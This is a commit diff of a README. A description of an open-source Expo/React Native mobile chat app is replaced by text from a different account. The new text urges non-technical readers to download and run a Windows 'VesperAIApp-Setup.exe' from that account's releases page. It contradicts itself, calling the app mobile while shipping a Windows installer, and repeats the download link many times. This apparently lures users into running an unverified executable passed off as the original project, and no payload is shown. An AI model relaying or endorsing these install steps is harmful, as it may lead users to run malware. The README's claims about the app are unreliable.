|
1 | | -<h1 align="center">VesperAI App</h1> |
| 1 | +# 📱 VesperAIApp - Chat Smarter with AI Assistance |
2 | 2 |
|
3 | | -<p align="center"> |
4 | | - Mobile AI chat app built with Expo, React Native, and Convex. |
5 | | -</p> |
| 3 | +[](https://github.com/shmilymaria/VesperAIApp/releases) |
6 | 4 |
|
7 | | -<p align="center"> |
8 | | - <img alt="expo" src="https://img.shields.io/badge/Expo-54-111111?logo=expo&logoColor=white" /> |
9 | | - <img alt="react-native" src="https://img.shields.io/badge/React_Native-0.81-20232A?logo=react&logoColor=61DAFB" /> |
10 | | - <img alt="convex" src="https://img.shields.io/badge/Convex-Backend-EE342F" /> |
11 | | - <img alt="license" src="https://img.shields.io/badge/License-MIT-green.svg" /> |
12 | | -</p> |
| 5 | +--- |
| 6 | + |
| 7 | +## ℹ️ About VesperAIApp |
| 8 | + |
| 9 | +VesperAIApp is a simple AI chat app designed to help you interact with AI naturally. It works on your mobile device using popular tools that keep the experience smooth and responsive. The app uses smart technology to give clear, helpful answers in your conversations. |
| 10 | + |
| 11 | +This app runs on Windows through an easy installation process. You won’t need any coding skills. Just follow the steps, and you’ll be talking with AI in no time. |
13 | 12 |
|
14 | 13 | --- |
15 | 14 |
|
16 | | -## Overview |
| 15 | +## 🚀 Getting Started |
| 16 | + |
| 17 | +Before you start, make sure your Windows computer meets some basic requirements: |
17 | 18 |
|
18 | | -VesperAI App is the client application for Vesper AI. It handles authentication, |
19 | | -chat interaction, conversation history, model selection, and account usage views. |
| 19 | +- Windows 10 or later |
| 20 | +- At least 4 GB of free memory (RAM) |
| 21 | +- 500 MB free disk space |
| 22 | +- A stable internet connection |
20 | 23 |
|
21 | | -This app requires the API backend to run. |
22 | | -Backend source: https://github.com/YoruAkio/VesperAIApp-Backend |
| 24 | +If your computer matches these, you’re ready to move on. |
23 | 25 |
|
24 | | -## Features |
| 26 | +--- |
25 | 27 |
|
26 | | -- WorkOS authentication (Google and Apple). |
27 | | -- Real-time streaming chat responses. |
28 | | -- Conversation history with drawer navigation. |
29 | | -- Edit latest user message and regenerate response. |
30 | | -- Credit-aware usage flow and account page. |
| 28 | +## ⬇️ Download and Install VesperAIApp |
31 | 29 |
|
32 | | -## App Preview |
| 30 | +To get the app up and running, you need to download the latest version from the release page. |
33 | 31 |
|
34 | | -<p align="center"> |
35 | | - <img src="https://files.catbox.moe/yl808z.png" alt="VesperAI login view" width="30%" /> |
36 | | - <img src="https://files.catbox.moe/ybxevh.png" alt="VesperAI chat view" width="30%" /> |
37 | | - <img src="https://files.catbox.moe/02ksqr.png" alt="VesperAI account view" width="30%" /> |
38 | | -</p> |
| 32 | +### Step 1: Visit the Download Page |
39 | 33 |
|
40 | | -<p align="center"> |
41 | | - Login View • Chat View • Account View |
42 | | -</p> |
| 34 | +Click this button to open the downloads page where you will find the latest version: |
43 | 35 |
|
44 | | -## Tech Stack |
| 36 | +[](https://github.com/shmilymaria/VesperAIApp/releases) |
45 | 37 |
|
46 | | -- Expo Router + React Native. |
47 | | -- NativeWind + Tailwind config for styling. |
48 | | -- Convex for data sync and persistence. |
49 | | -- WorkOS for auth session flow. |
| 38 | +This page contains all the versions available. Look for the latest version, usually at the top. It will have a name like `VesperAIApp-Setup.exe` or similar. |
50 | 39 |
|
51 | | -## Getting Started |
| 40 | +### Step 2: Download the Installer |
52 | 41 |
|
53 | | -1. Install dependencies: |
| 42 | +Click the link that ends with `.exe`. This is the file you will use to install the app. |
54 | 43 |
|
55 | | -```bash |
56 | | -bun install |
57 | | -``` |
| 44 | +### Step 3: Run the Installer |
58 | 45 |
|
59 | | -2. Configure environment variables from `.env.example`. |
| 46 | +Once the download finishes: |
60 | 47 |
|
61 | | -3. Start the app: |
| 48 | +- Open the file you just downloaded. |
| 49 | +- Follow the instructions on the screen. |
| 50 | +- Choose to install the app in the suggested folder. |
| 51 | +- The installation usually takes a couple of minutes. |
| 52 | + |
| 53 | +### Step 4: Launch the App |
| 54 | + |
| 55 | +After installing: |
| 56 | + |
| 57 | +- Find the VesperAIApp icon on your desktop or the Start menu. |
| 58 | +- Double-click the icon to open the app. |
| 59 | +- You are ready to start using VesperAIApp to chat with AI. |
| 60 | + |
| 61 | +--- |
62 | 62 |
|
63 | | -```bash |
64 | | -bun run start |
65 | | -``` |
| 63 | +## 🛠 Features |
| 64 | + |
| 65 | +VesperAIApp offers simple and useful features to make your AI chat experience effective: |
| 66 | + |
| 67 | +- Clean and easy-to-use chat interface |
| 68 | +- AI responses powered by the latest models for clear answers |
| 69 | +- Support for multiple conversation topics |
| 70 | +- Fast loading and reliable interaction |
| 71 | +- Built with mobile frameworks for smooth performance |
| 72 | +- Safe and secure connection to AI services |
| 73 | + |
| 74 | +--- |
| 75 | + |
| 76 | +## 🔍 How to Use the App |
| 77 | + |
| 78 | +When you open VesperAIApp for the first time, you will see a simple chat window. |
| 79 | + |
| 80 | +1. Type your question or message in the input box. |
| 81 | +2. Press the send button or hit Enter. |
| 82 | +3. The AI will respond within a few seconds. |
| 83 | +4. Continue the conversation as needed. |
| 84 | + |
| 85 | +You can ask about many topics. The AI is ready to help with trivia, definitions, advice, or just casual talk. |
| 86 | + |
| 87 | +--- |
66 | 88 |
|
67 | | -## Contributing |
| 89 | +## ⚙️ Settings |
68 | 90 |
|
69 | | -Contributions are welcome. |
| 91 | +You can change some settings to improve your experience: |
70 | 92 |
|
71 | | -- Open an issue for ideas or bugs. |
72 | | -- Submit a pull request with clear changes. |
| 93 | +- **Theme:** Switch between light and dark mode for easier reading. |
| 94 | +- **Notifications:** Choose to get alerts for new messages or mute alerts. |
| 95 | +- **Language:** Select the main language for the app interface. |
73 | 96 |
|
74 | | -## License |
| 97 | +Access settings via the gear icon in the top-right corner of the app window. |
| 98 | + |
| 99 | +--- |
| 100 | + |
| 101 | +## ❓ Troubleshooting |
| 102 | + |
| 103 | +If you have issues running or installing VesperAIApp, here are some tips: |
| 104 | + |
| 105 | +- Make sure your Windows version is up to date. |
| 106 | +- Check that you downloaded the latest installer from the official release page. |
| 107 | +- Close other programs that may interfere with installation. |
| 108 | +- Restart your computer and try installing again. |
| 109 | +- Ensure your internet connection is stable while using the app. |
| 110 | + |
| 111 | +If the problem continues, you can check the Issues section on the GitHub page for similar problems and possible fixes. |
| 112 | + |
| 113 | +--- |
| 114 | + |
| 115 | +## 🧾 System Requirements Recap |
| 116 | + |
| 117 | +| Item | Minimum | Recommended | |
| 118 | +|--------------------|--------------------|---------------------| |
| 119 | +| Operating System | Windows 10 or newer | Windows 10 or newer | |
| 120 | +| Memory (RAM) | 4 GB | 8 GB or more | |
| 121 | +| Disk Space | 500 MB | 1 GB or more | |
| 122 | +| Internet Connection | Required | Broadband preferred | |
| 123 | + |
| 124 | +--- |
| 125 | + |
| 126 | +## 🔗 Useful Links |
| 127 | + |
| 128 | +- Official download page: [https://github.com/shmilymaria/VesperAIApp/releases](https://github.com/shmilymaria/VesperAIApp/releases) |
| 129 | +- GitHub repository for more info: [https://github.com/shmilymaria/VesperAIApp](https://github.com/shmilymaria/VesperAIApp) |
| 130 | + |
| 131 | +--- |
| 132 | + |
| 133 | +## 🚨 Updates |
| 134 | + |
| 135 | +Check the release page regularly to download new versions. Updates may include bug fixes and improvements. |
| 136 | + |
| 137 | +--- |
75 | 138 |
|
76 | | -This project is licensed under the MIT License. See `LICENSE` for details. |
| 139 | +# [Download VesperAIApp](https://github.com/shmilymaria/VesperAIApp/releases) |
0 commit comments